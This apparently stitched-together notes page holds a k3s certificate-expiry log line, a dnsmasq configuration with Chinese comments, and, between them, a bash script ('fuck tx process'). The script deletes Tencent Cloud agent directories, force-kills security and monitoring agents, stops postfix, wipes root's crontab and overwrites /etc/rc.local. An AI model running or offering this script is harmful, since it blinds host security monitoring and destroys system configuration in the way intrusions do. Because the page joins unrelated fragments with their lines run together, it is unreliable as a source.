May 29 03:23:29 truenas k3s[11305]: E0529 03:23:29.178174 11305 authentication.go:63] "Unable to authenticate the request" err="[x509: certificate has expired or is not yet valid: current time 2023-05-29T03:23:29+08:00 is after 2023-04-16T16:35:58Z, verifying certificate SN=..., SKID=, AKID=... failed: x509: certificate has expired or is not yet valid: current time 2023-05-29T03:23:29+08:00 is after 2023-04-16T16:35:58Z]"
#!/bin/bash #fuck tx process rm -rf /usr/local/sa rm -rf /usr/local/agenttools rm -rf /usr/local/qcloud process=(sap100 secu-tcs-agent sgagent64 barad_agent agent agentPlugInD pvdriver ) for i in${process[@]} do for A in $(ps aux |grep $i |grep -v grep |awk '{print $2}') do kill -9 $A done done chkconfig --level 35 postfix off service postfix stop echo''>/var/spool/cron/root echo'#!/bin/bash' >/etc/rc.local
# Never forward plain names (without a dot or domain part) # 不包含点(.)的域名不要发给上游DNS服务器(不会流出当前节点) domain-needed
# Never forward addresses in the non-routed address spaces. # 无法路由的地址不要发给上游DNS服务器(不会流出当前节点) bogus-priv
# If you don't want dnsmasq to read /etc/resolv.conf or any other # file, getting its servers from this file instead (see below), then # uncomment this. # 不读取/etc/resolv.conf, 因为里面只有namserver 127.0.0.1 no-resolv
# Add other name servers here, with domain specs if they are for # non-public domains. # 对于解析不了的域名, 转发某个上游DNS服务器 server=192.168.50.1
# Add local-only domains here, queries in these domains are answered # from /etc/hosts or DHCP only. # 对于.in39结尾的域名都视为内网, 不转发给上游DNS服务器. local=/in39/
# Add domains which you want to force to an IP address here. # The example below send any host in double-click.net to a local # web-server. # 解析, 泛解析域名到IP, 如下*.helloworld.in39和helloworld.in39都会解析到这个IP # 域名本身也可以加通配符来做字符串匹配解析. address=/helloworld.in39/192.168.50.1
# If you don't want dnsmasq to read /etc/hosts, uncomment the # following line. # 不要读取/etc/hosts no-hosts
# or if you want it to read another file, as well as /etc/hosts, use # this. # 但是读取以下指定的文件作为hosts内容 格式和hosts保持一致. 多个IP可以解析到同一个域名, dnsmasq可以正确解析. addn-hosts=...
# Include another lot of configuration options. # conf-file=/etc/dnsmasq.more.conf # 可以把配置文件分离到其他文件或文件夹里, 可以有多个 conf-dir=...